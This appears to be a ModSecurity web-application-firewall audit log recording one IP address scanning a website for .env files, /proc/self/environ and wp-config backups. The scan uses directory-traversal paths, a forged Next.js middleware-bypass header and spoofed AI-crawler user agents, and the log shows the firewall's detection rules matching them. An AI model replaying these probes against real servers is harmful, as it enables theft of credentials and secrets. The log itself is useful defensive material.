Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6TQAAAMU"]
Stopwatch: 1789296845680429 5946 (- - -)
Stopwatch2: 1789296845680429 5946; combined=4264, p1=349, p2=3785, p3=78, p4=8, p5=43, sr=185, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7a3bb027-Z--
--4aa69416-A--
[13/Sep/2026:13:54:05.765000 +0300] aqaAzWM7dE9KgIIOpQh6TgAAAMg 35.236.177.61 33752 127.0.0.1 7081
--4aa69416-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4aa69416-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--4aa69416-E--
--4aa69416-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/app/.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6TgAAAMg"]
Stopwatch: 1789296845758564 6504 (- - -)
Stopwatch2: 1789296845758564 6504; combined=4689, p1=301, p2=4186, p3=138, p4=11, p5=53, sr=122, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4aa69416-Z--
--dbc63617-A--
[13/Sep/2026:13:54:05.775101 +0300] aqaAzWM7dE9KgIIOpQh6TwAAAMg 35.236.177.61 33760 127.0.0.1 7081
--dbc63617-B--
GET /public../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--dbc63617-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--dbc63617-E--
--dbc63617-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/public../.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6TwAAAMg"]
Stopwatch: 1789296845768123 7070 (- - -)
Stopwatch2: 1789296845768123 7070; combined=5234, p1=293, p2=4820, p3=63, p4=9, p5=48, sr=121, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dbc63617-Z--
--01718145-A--
[13/Sep/2026:13:54:05.792695 +0300] aqaAzWM7dE9KgIIOpQh6UQAAAME 35.236.177.61 33778 127.0.0.1 7081
--01718145-B--
GET /dist../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--01718145-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--01718145-E--
--01718145-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/dist../.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6UQAAAME"]
Stopwatch: 1789296845785786 6975 (- - -)
Stopwatch2: 1789296845785786 6975; combined=4737, p1=292, p2=4167, p3=172, p4=14, p5=92, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--01718145-Z--
--a8cde618-A--
[13/Sep/2026:13:54:05.808538 +0300] aqaAzWM7dE9KgIIOpQh6UAAAAM0 35.236.177.61 33774 127.0.0.1 7081
--a8cde618-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a8cde618-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--a8cde618-E--
--a8cde618-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6UAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6UAAAAM0"]
Stopwatch: 1789296845772772 35894 (- - -)
Stopwatch2: 1789296845772772 35894; combined=34183, p1=263, p2=33776, p3=90, p4=9, p5=45, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a8cde618-Z--
--98e5661f-A--
[13/Sep/2026:13:54:05.922746 +0300] aqaAzUwu1RSkptiiNIX7gAAAAJQ 35.236.177.61 33788 127.0.0.1 7081
--98e5661f-B--
GET /build../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--98e5661f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--98e5661f-E--
--98e5661f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/build../.env"] [unique_id "aqaAzUwu1RSkptiiNIX7gAAAAJQ"]
Stopwatch: 1789296845897126 25720 (- - -)
Stopwatch2: 1789296845897126 25720; combined=22248, p1=555, p2=21547, p3=70, p4=9, p5=66, sr=216, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--98e5661f-Z--
--7e34cb67-A--
[13/Sep/2026:13:54:05.936274 +0300] aqaAzWM7dE9KgIIOpQh6UgAAAMM 35.236.177.61 33802 127.0.0.1 7081
--7e34cb67-B--
GET /js../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7e34cb67-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--7e34cb67-E--
--7e34cb67-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/js../.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6UgAAAMM"]
Stopwatch: 1789296845928232 8113 (- - -)
Stopwatch2: 1789296845928232 8113; combined=5245, p1=911, p2=4218, p3=67, p4=7, p5=42, sr=739, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7e34cb67-Z--
--d168d81b-A--
[13/Sep/2026:13:54:05.997740 +0300] aqaAzUwu1RSkptiiNIX7gQAAAJU 35.236.177.61 33818 127.0.0.1 7081
--d168d81b-B--
GET /css../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d168d81b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d168d81b-E--
--d168d81b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/css../.env"] [unique_id "aqaAzUwu1RSkptiiNIX7gQAAAJU"]
Stopwatch: 1789296845991926 5868 (- - -)
Stopwatch2: 1789296845991926 5868; combined=4314, p1=252, p2=3944, p3=70, p4=8, p5=40, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d168d81b-Z--
--6dbc7871-A--
[13/Sep/2026:13:54:06.178784 +0300] aqaAzmM7dE9KgIIOpQh6VAAAAM8 35.236.177.61 33844 127.0.0.1 7081
--6dbc7871-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6dbc7871-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6dbc7871-E--
--6dbc7871-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/userfiles"] [unique_id "aqaAzmM7dE9KgIIOpQh6VAAAAM8"]
Stopwatch: 1789296846172452 6380 (- - -)
Stopwatch2: 1789296846172452 6380; combined=4835, p1=286, p2=4425, p3=75, p4=6, p5=43, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6dbc7871-Z--
--9ac7095e-A--
[13/Sep/2026:13:54:06.195206 +0300] aqaAzkwu1RSkptiiNIX7ggAAAI0 35.236.177.61 33860 127.0.0.1 7081
--9ac7095e-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9ac7095e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--9ac7095e-E--
--9ac7095e-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/userfiles"] [unique_id "aqaAzkwu1RSkptiiNIX7ggAAAI0"]
Stopwatch: 1789296846188769 6497 (- - -)
Stopwatch2: 1789296846188769 6497; combined=4936, p1=290, p2=4526, p3=69, p4=7, p5=44, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9ac7095e-Z--
--9c9e497e-A--
[13/Sep/2026:13:54:06.247597 +0300] aqaAzmM7dE9KgIIOpQh6VQAAAMA 35.236.177.61 33862 127.0.0.1 7081
--9c9e497e-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9c9e497e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--9c9e497e-E--
--9c9e497e-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/userfiles"] [unique_id "aqaAzmM7dE9KgIIOpQh6VQAAAMA"]
Stopwatch: 1789296846237930 9929 (- - -)
Stopwatch2: 1789296846237930 9929; combined=6545, p1=512, p2=5888, p3=87, p4=9, p5=48, sr=219, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9c9e497e-Z--
--a2a18214-A--
[13/Sep/2026:13:54:06.306974 +0300] aqaAzmM7dE9KgIIOpQh6VgAAANc 35.236.177.61 33904 127.0.0.1 7081
--a2a18214-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a2a18214-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a2a18214-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/userfiles/x"] [unique_id "aqaAzmM7dE9KgIIOpQh6VgAAANc"]
Action: Intercepted (phase 2)
Stopwatch: 1789296846300161 6860 (- - -)
Stopwatch2: 1789296846300161 6860; combined=5085, p1=277, p2=4437, p3=0, p4=0, p5=370, sr=119, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a2a18214-Z--
--39281670-A--
[13/Sep/2026:13:54:06.314338 +0300] aqaAzkwu1RSkptiiNIX7gwAAAIU 35.236.177.61 33874 127.0.0.1 7081
--39281670-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--39281670-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--39281670-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/userfiles"] [unique_id "aqaAzkwu1RSkptiiNIX7gwAAAIU"]
Action: Intercepted (phase 2)
Stopwatch: 1789296846293393 21013 (- - -)
Stopwatch2: 1789296846293393 21013; combined=14518, p1=866, p2=13342, p3=0, p4=0, p5=309, sr=142, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--39281670-Z--
--aeca1935-A--
[13/Sep/2026:13:54:06.449242 +0300] aqaAzmM7dE9KgIIOpQh6VwAAANU 35.236.177.61 33918 127.0.0.1 7081
--aeca1935-B--
GET /wp-config.php.bak HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
